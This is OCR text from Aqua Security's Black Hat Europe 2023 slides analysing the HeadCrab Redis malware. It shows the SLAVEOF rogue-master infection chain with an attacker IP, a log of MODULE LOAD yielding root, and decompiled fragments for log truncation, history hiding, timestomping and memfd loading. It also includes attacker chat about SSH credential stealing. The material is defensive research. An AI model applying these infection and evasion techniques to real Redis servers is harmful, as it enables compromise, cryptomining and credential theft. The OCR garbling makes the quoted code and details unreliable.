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Senior Security Researcher, Aqua Security
Low level Linux research

Malware analysis
Incident response
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Security Data Analyst , Aqua Security

Threat research
Data analysis
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black hat Honeypots as Research Tool

EURORE 2023

ADetection of new methods, tools and indicators

AProviding a deeper understanding on attackers
tactics, techniques and procedures (TTP)

AMonitoring system behavior using Tracee based

‘ eBPF technology

aqua

tracee

Information Classification: General
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blSak hat What Is Redis?
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APopulardatabasesolution

ASupports MasteSlave cluster
replication

AAnonymous logirprevention by
Protected mode

A Server functionality extending by
Redis Modules

Information Classification: General
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blackhat

EURORE 2023

AShared Obiject file (.so)

ALoaded by the Redis process

AOnce loaded is a part of the
Redis process

Information Classification: General
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The SLAVEOREPLICAOF Attack

Abusing the SLAVEUREPLICAOF featugeA known technigue sinc2018

[zERD
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200183
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blackhat
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Victim Server

_Q_ﬁ Redis Process b

1. SLAVEOF 116.202.102.79 2. Sync

5. Module Loadtmp/tmp-m ¢ T X w'(D NR 0 w | |
3. Sends Headcrab.so

(
Attacker Default Request Handler 116.202.102.7¢
Rogue Master
Server
4. Drop
| BIN
10110
01001
6. Load Head b
[tmp/tmp-Mmc T XM PNRO cadcra

Information Classification: General
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blackhat  SlaveofReplicaofinfection Method
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TIME

1673347867

SLAVEOF 116.202.102.79 8080

+0K

TIME

1673347888

MODULE LOAD ./temp-1673347866.1.rdb

MODULE LOAD ./temp-1673347888.1.rdb

-ERR Error loading the extension. Please check the server logs.
+0K

rdss 2381675947053628537 id
uid=0(root) gid=0(root) groups=0(root)

Information Classification: General
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HeadCrab
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Hello. This 1is , made to bring unconditional basic income to ppl with some disadvantages.

p.s. Feel free to send any curses or suggestions to ice9j@proton.me.

Sep 21 | Pamdicks is too old for getdents64 ~,”

Dec 22 | , plz. If u don't have CVE-2022-0543 usage logs, just trust your eyes. (waiting for Redic)

Information Classification: General



blaakhat Aqua Reference in the Malware - = U

EURORE &7

Hello. , made to bring unconditional basic income to ppl with some disadvantages.
N de red free to send any curses or suggestions to ice9j@proton.me.
J
Sep 21 | Pamdicks is too old for getdents6e4 ~,”

Dec 22 | , plz. If u don't have CVE-2022-0543 usage logs, just trust your eyes. (waiting for Redic)

Information Classification: General
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EURORE 2023

Hello. This 1is bring unconditional basic income to ppl with some disadvantages.

mining
el frer

iny curses or suggestions to ice9j@proton.me.

Sep 21 | F .aicks is too old for getdentse4 ~,”

Dec 22 | , plz. If u don't have CVE-2022-0543 usage logs, just trust your eyes. (waiting for Redic)

Information Classification: General
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plackhat  Aqua Reference in the Malware -

EURORE 2023

.come to ppl w
mbies the amour
p.s. Feel free to send any curses or suggestic ice9j@proton.me

ng mining on cr

Hello. This 1is , made to bring unconditional b/

disadvantages.

Sep 21 | Pamdicks is too old for getdents6e4 ~,”

Dec 22 | , plz. If u don't have CVE-2022-0543 usage logs, just trust your eyes. (waiting for Redic)

Information Classification: General
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Hello. This 1is , made to bring unconditional basic income to ppl with some disadvantages.

p.s. Feel free to send any curses or suggestions to ice9j@proton.me.

Sep 2 1 is too old for getdents64 ~,”
Oct 21

Dec 22 | 9lz. If u don't have CVE-2022-0543 usage logs, just trust your eyes. (waiting for Redic)

Information Classification: General



bif&khat Aqua Reference in the Malware -~~~ -
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Hello. This 1is , made to bring unconditional basic income to ppl with some disadvantages.

p.s. Feel free to send any curses or suggestions to ice9j@proton.me.

Sep 21 | Pamdicks is too old for getdents6e4 ~,”

Tl

ag] catc

9 1 don't have CVE-2022-0543 usage logs, just trust your eyes. (waiting for Redic)




bif&khat Aqua Reference in the Malware =

EURORE 2023

Hello. This 1is , made to bring unconditional basic income to ppl with some disadvantages.

p.s. Feel free to send any curses or suggestions to ice9j@proton.me.

Sep 21 | Pamdicks is too old for getdents6e4 ~,”

Jan 22

Dec 22 z. If u don't have CVE-2022-0543 usage logs, just trust your eyes. (waiting for Redic)
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Technical Analysis
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ACustom Redis commands
AHigh operation security

A50+ Advanced capabilities

#BHEU  @BlackHatEvents
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blackhat Attack Phases
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blackhat Attack Phases
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@ Channel
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Infection Defense Evasion
Information Classification: Genera
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Persistency
Informat ion Classification: Genera
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Lateral Movement

Information Classification: Genera
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black hat Attack Graph Infection

EURORE 2023

Victim Server

_Q_ﬁ Redis Process

1. SLAVEQR.6.202.102.79 2. Sync

5. Module Load'r/mp/tmp-167x1.rdb| w | |
3. Sends Headcrab.so

C
Attacker Default Request Handler 116.202 1027
Rogue Master
Server
4. Drop
| BIN |
10110
01001
6. Load Homg 0
[tmp/tmp-167X1.rdb €adcra

\_ /

Information Classification: General



blSak hat Redis Commands as C2
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RedisModule CreateCommand(al, sub 8B94, v7, 1LL, 1LL,
RedisModule CreateCommand(al, sub 9CEA, v7, 1LL, 1LL, 1LL);

RedisModule CreateCommand(al, sub 8211, v7, 1LL, 1LL, 1LL);
RedisModule CreateCommand(al, sub 947, v7, 1LL, 1LL, 1LL);
RedisModule CreateCommand(al, sub 12055, v7, 1LL, 1LL, 1LL);
RedisModule CreateCommand(al, sub 903B, v7, 1LL, 1LL, 1LL);
RedisModule CreateCommand(al, sub 11EE7, v7, 1LL, 1LL, 1LL);
RedisModule CreateCommand(al, sub_C5AC, v7, 1LL, 1LL, 1LL);

New commands creation by the HeadCrab malware

RDSR

+0K

oXed)udlennd ke, 09..7]......5.9.8..7{..h.3..R .k.by....... $..k.D1 9......%.G..]i9.}1.P.m_....G["

..... f.Kxq.b...9.......g_v{.1g.Bw."...vx.....B...:...;:...7; .M{.9Y..A...>Z..._.Y]|...J$......y. Am*L...UW)L< #}
gl_.F...I.w.H.+..6.na...vC,....7\....dc. X........W... "...ifa.n.E

..}.1.d.W. A.#.e...5).0A...5.....Pw_.P.;.i.._..B{V...D......{....9.. ...m...S..b.E.H,.

Encrypted network communication over Redis commands

2 Channel JDelense Evasio

Information Classification: General
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overwrite command(“client”, gword 2467B@, OLL, OLL, empty_ error)

overwrite command(“debug”, qword 2467A8, OLL, OLL, invalid command_err)
overwrite command(“shutdown”, gword 2467A0, OLL, OLL, invalid command_err 0)
overwrite command(“monitor”, qword 246798, OLL, OLL, invalid command _err_1)
overwrite command("slaveof”, gqword 246790, OLL, OLL, invalid command err 2)
overwrite command(“replicaof”, gqword 246788, OLL, OLL, invalid command_err_3)
overwrite command(“config”, gword 246780, OLL, OLL, invalid command err 4)
overwrite command(“module”, gword 2467B8, OLL, OLL, invalid command err_5)) )

__inte4 _ fastcall invalid command_err(__int64 al)

{

return addReplyError(al, "Invalid command specified");

}

Default functions overwritten by thdeadCralmalware

G Channel

Information Classification: General
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blackhat
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Attacker

Information Classification: General

/tmp/tmp-167X1.rdb

Attack Graphg C Channel

Victim Server

_Q:_Q: Redis Process
1. SLAVEQHR6.202.102.79

5. Module Load'r/mp/tmp-167x1.rdb|

4. Drop
8. RDS* commands

\_

6. Load

Default Request Handler

T—

7. Override commands &
Register custom commands

10110
01001

Headcrab

9. Runcryptominer /

memfd:XMRig

2. Sync

3. Sends Headcrab.so

116.202.102.79
Rogue Master
Server



blaakhat Memory Backed Files
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memfd: /dev/ shm

G Channel
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Operation Security

How HeadCrab managed to stay under the radar?

#BHEU  @BlackHatEvents
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black hat Special Defense Evasion Abilities

EURORE 2023

Shell History Hiding

- P

F W
LogClearing

- J

F N

Hiding Data irAttributes

(S 4

F N
LUA Script&xecution

(S 4

F N

Dynamic LoadetOLBIn

N F
PAY

FilesTimestomping

N F
PAY

EnvironmentAwareness

w F
PAY

Clever Persistendylanting

Infection Defense Evasion
Information Classification: Genera
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blackhat
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Shell History Hiding

€ 4
4 M)

Log Clearing —
\ J -1,
4 M)

= "PATH=/usr/local/sbin:/usr/local/bin
= "HISTFILE=/dev/null”;

&v19[14];

&v20[17];

Hiding Data in Attributes

N F
PAY

LUA Scripts Execution

N F
PAY

"TERM=xterm"”;
ai_set_rlimit_and_check_stack(v9);
— | *(_DWORD *)&mmaped_480->buffer[404] = 1,
FilesTimestomping mm_mfence();

DynamicLoaderLOLBIn

N F
PAY

N F
PAY

execve(v8, argv, envp);

Environment Awareness

w F
PAY

Clever Persistency Planting

A 3 J

G Channel

Information Classification: General
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Shell History Hiding

Log Clearing
- 1

Hiding Data in Attributes

N F
PAY

LUA Scripts Execution

N F
PAY

DynamicLoaderLOLBIn

N F
PAY

FilesTimestomping

N F
PAY

Environment Awareness

w F
PAY

Clever Persistency Planting

Infection Defense Evasion
Information Classification: Genera




biSekhat Special Defense Evasion Abilities

EURORE 2023

Shell History Hiding

Log Clearing
> -

Hiding Datan Attributes

‘ 4 truncate("/var/log/redis/redis.log", OLL);
LUA Scripts Execution truncate("/var/log/redis/redis-server.log", OLL);
= < truncate("/var/log/redis 6379.log", OLL);
DynamicLoaderLOLBin arg2 = 0oLL;
< < truncate("/var/log/redis 6380.log", OLL);

FilesTimestomping

N F
PAY

Environment Awareness

w F
PAY

Clever Persistency Planting

Infection Defense Evasion
Information Classification: General
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black hat Special Defense Evasion Abilities

EURORE 2023

Shell History Hiding
Log Clearing

Hiding Data in Attributes

~
o

N F
PAY

LUA Scripts Execution

N F
PAY

DynamicLoaderLOLBIn

N F
PAY

FilesTimestomping

N F
PAY

Environment Awareness

w F
PAY

Clever Persistency Planting

Infection Defense Evasion
Information Classification: Genera
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black hat Special Defense Evasion Abilities "+

EURORE 2023

Shell History Hiding
Log Clearing

Hiding Data in Attributes

D
Wy

LUA Scripts Execution

return setxattr(path, "trusted.cfg", v5, ©x18ullL,

N F
PAY

DynamicLoaderLOLBIn

N F
PAY

FilesTimestomping

N F
PAY

Environment Awareness

w F
PAY

Clever Persistency Planting

Infection Defense Evasion
Information Classification: Genera

p
Y




blSekhat Special Defense Evasion Abilities
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Shell History Hiding

Log Clearing

Hiding Data in Attributes

LUA Scripts Execution

N F
PAY

DynamicLoaderLOLBIn

N F
PAY

FilesTimestomping

N F
PAY

Environment Awareness

w F
PAY

Clever Persistency Planting

Infection Defense Evasion
Information Classification: Genera
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plackhat  Special Defense Evasion Abilities -
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Shell History Hiding

Log Clearing

Hiding Data in Attributes
LUA Scripts Execution
DynamicLoaderLOLBIn
FilesTimestomping

Environment Awareness

Clever Persistency Planting

Infection

Information Classification: General

err = lual_loadfile(L, name, OLL);

if
;

1
memfd or tmpfile and return fd = create memfd or tmpfile and re

remove lock from addr((volatile signed int32 *)::mmaped RW addr

( lerr )

v1l1l6 = memfd or tmpfile and return fd;

I
L

if ( memfd or tmpfile and return fd != -1 )

dup2(memfd or tmpfile and return fd, 1);
dup2(vlle, 2);
*v11l = 0;

v117 = sub_199CA(L, @LL, OLL, OLL, OLL, OLL);
if ( w117 )
{

v118 = dofilecont @(L);

lua_settop(L, (unsigned int)~v118);

*v111 = 0;

goto LABEL 298;

¥

close(v116);

Defense Evasion




blSekhat Special Defense Evasion Abilities
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Shell History Hiding

Log Clearing

Hiding Data in Attributes

LUA Scripts Execution

~
o

DynamicLoaderLOLBIn

N F
PAY

FilesTimestomping

N F
PAY

Environment Awareness

w F
PAY

Clever Persistency Planting

Infection Defense Evasion
Information Classification: Genera
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Shell History Hiding

Log Clearing

Hiding Data in Attributes

argv[o]
argv|v2z2
envp[0]

&1d so path;
= Vvl/;
. . "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin: /usr/bin:/sbin:/bin";
LUA Scripts Execution envp[1] = "TERM=xterm";
envp[2] "HISTFILE=/dev/null”;
dup_saved fds to process fds(fd, v8);
DynamicLoaderLOLBIn eelfel  SEfEE PREEHE) = GF

sched_setscheduler(®, 3, &param);
ai_set_rlimit_and_check_stack(@LL);
execve(vl4, argv, envp);

inmm 1n— 1

FilesTimestomping

N F
PAY

Environment Awareness

w F
PAY

Clever Persistency Planting

Infection Defense Evasion
Information Classification: General

p
Y




blSekhat Special Defense Evasion Abilities

EURORE 2023

Shell History Hiding

Log Clearing

Hiding Data in Attributes

LUA Scripts Execution

Dynamic LoaderOLBIn

~
P

FilesTimestomping

N F
PAY

Environment Awareness

w F
PAY

Clever Persistency Planting

Infection Defense Evasion
Information Classification: Genera
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bibdkhat  Special Defense Evasion Abilities

Shell History Hiding

Log Clearing

Hiding Data in Attributes

LUA Scripts Execution

Dynamic LoaderOLBIn
FilesTimestomping

Environment Awareness

Clever Persistency Planting

Infection
Information Classification: General

return utimes(file, &tiMe);

int  fastcall f timestomp file(char *file,  int64 target time)

struct timeval time;
__int64 v7; [ rsp+16h

*(_DWORD *)p.

IS
A=K

I15e(

(_ suseconds t *)((char *)r

ime.tv_sec = *(_QWORD *)(
v/ = *(_QWORD *)(targe

Defense Evasion




blSekhat Special Defense Evasion Abilities

EURORE 2023

Shell History Hiding

Log Clearing
Hiding Data in Attributes
LUA Scripts Execution

Dynamic LoaderOLBIn

FilesTimestomping

~
o

Environment Awareness

w F
PAY

Clever Persistency Planting

Infection Defense Evasion
Information Classification: Genera
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black hat Special Defense Evasion Abilities "+ =
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Shell History Hiding

Log Clearing

Hiding Data in Attributes

LUA Scripts Execution

Dynamic LoaderOLBIn

FilesTimestomping

Environment Awareness

Clever Persistency Planting

Information Classification: General

snprintf(s, @x40ull, "/proc/%d/stat”. (unsigned int)pid);

LODWORD(v9) = syscall(254LL, (unsigned int)inotify queue fd, s, 53
dword 246CA4 = v9;
break;

while ( 1)
{
v/ = a2 + v6;
v6 += *(unsigned __intl1l6 *)(a2 + v6 + 16);
if ( *(_BYTE *)(v7 + 18) == 2 )
{
v8 = (const char *)(v7 + 19);
if ( (unsigned int)strlen(v8) - 1 <= 2
&& snprintf(s, ©x104uLL, "/dev/pts/%s", v8) >= ©
&& !xstat(s, &stat buf)
&& stat _buf.st_atim.tv_sec >= a3 )
{
break;
¥
}

G Channel
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black hat Special Defense Evasion Abilities
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Shell History Hiding

Log Clearing
Hiding Data in Attributes
LUA Scripts Execution

Dynamic LoaderOLBIn

FilesTimestomping

Environment Awareness

Clever Persistency Planting

Infection Defense Evasion
Information Classification: Genera
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black hat Special Defense Evasion Abllities
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Shell History Hiding

Log Clearing

Hiding Data in Attributes

LUA Scripts Execution

Dynamic LoaderOLBIn

FilesTimestomping

Environment Awareness

Clever Persistenclylanting

G Channel

Information Classification: General

snprintf(

file_buffer,

@x320uLL,

"\n%s%s\"%s\" %11d %11d %s%s\n",
lots of spaces,

(const char *)load _memory_string,
file 1,

magic_1,

magic_ 2,

lots _of break char,

lots of spaces 1);

write(file _fd, file buffer, strlen((const char *)file buffer));
close(file fd);
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EURORE 2023

Shell History Hiding snprintf(

file_buffer,
@x320uLL,
"\n%s%s\"%s\" %11d %11d %s%s\n",
lots_of_spaces,
Hiding Data in Attributes (const char *)load _memory_string,
file_1,
magic_1,
LUA Scripts Execution magic_2,
lots _of break char,
lots _of spaces 1);
Dynamic LoaddrOLBInN write(file_fd, file_buffer, strlen((const char *)file_buffer));
close(file_fd);

Log Clearing

FilesTimestomping

Environment Awareness

Clever Persistency Planting

G Channel

Information Classification: General
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Module CredentialsStealing Init.d Script
Auto-Loading Service

@ Channel Persistency
Informat ion Classification: Genera
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Q2 Channel Lateral Movement

Information Classification: General
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Tomma

Lateral Movement

Information Classification: General
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black hat Finding Victims
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Conducting a unigue method to detect its infections in Redis
Servers:

bash

:6379> COMMAND
1) "slaveof"
2) "time"

16) n rdSS"
17) "rdsr"

18) "rdsx"
19) "rdsi"
20) "rdsc"
21) "rdsm"
22) "rdsa"
22) "rdsp"




blaakhat 1,200Compromised Servers Worldwide =
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Information Classification: General
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0 Speaking with the attacker

blackhat
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| didn't have a hacker nickname because | didn't need it, but let it 9é&4dre

Information Classification: Genera
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wifdknat  ICE9in Person Of Interest TV series -
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in: Technology. Events, Recurring ltems

|CE—Q (> SIGN IN TO EDIT

ICE-9(.exe) is a computer virus developed by the DoD for unknown

ICE-? Virus
purposes. According to the Machine, it is "the world's most lethal virus®,

capable of "bringing Samaritan to its knees". ("Synecdoche’)"exe") TO_EXECUTE

VOICE PASSWORD REQUIRED

Contents [ hide ]

. Origin of the Name
2. History
5. Notes

. Trivia

5. References

Information Classification: General
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That's a virus. /7"






b1 hat Speaking with the attacker
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The,y make cool mistakes, likdding a usemwith
the same password to all hacked systertiss is

exactly what makeheadcrab'ssshcred stealer
useful :)
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Oic it is not finished, for example, the code f

a semtfilelessinfection has not been
transferred to it: this is when | do not write a
filles to disk until | see the launch of a
reboot/ poweroff in PID1




blgc’zk hat

EURORE 2023

Speaking with the attacker

Also really need to infeciginx.
Forredisandpostgres this is just a small
things in memory, but it will be difficult for

sshbruteforceor for open dockerport

S — | — — T — . —— —
I Y b R (. (s (. S R W

Information Classification: General
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In my own | use the following rules:
1. Try not to reduce server performance
A happy user is a happy infection, a long |i
| don't mine at all on systems with a heavy
load or a single core.
2. Destroy the infection of competitors
She violates rul@!
3. Close the door aka vulnerabilik;.
| often encounter many vulnerabilities at th

same time.




blgc’zk hat

EURORE 2023

All lcame upwith was to stop further
Infections andstop miningif /dev/pts or top
IS active(thx to inotify on /prod pid).

Information Classification: Genera



0 Speaking with the attacker

blackhat
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Here is a fulfledged serviceif you are
Interested (attachment, no modifications fror
itw version btw). Canteal passwordgrom
scp ssh sshd ftpd/su suddpasswd.
Designed to run from service or this way:

DROPE COMM_I23 COMM_[Zx456 |



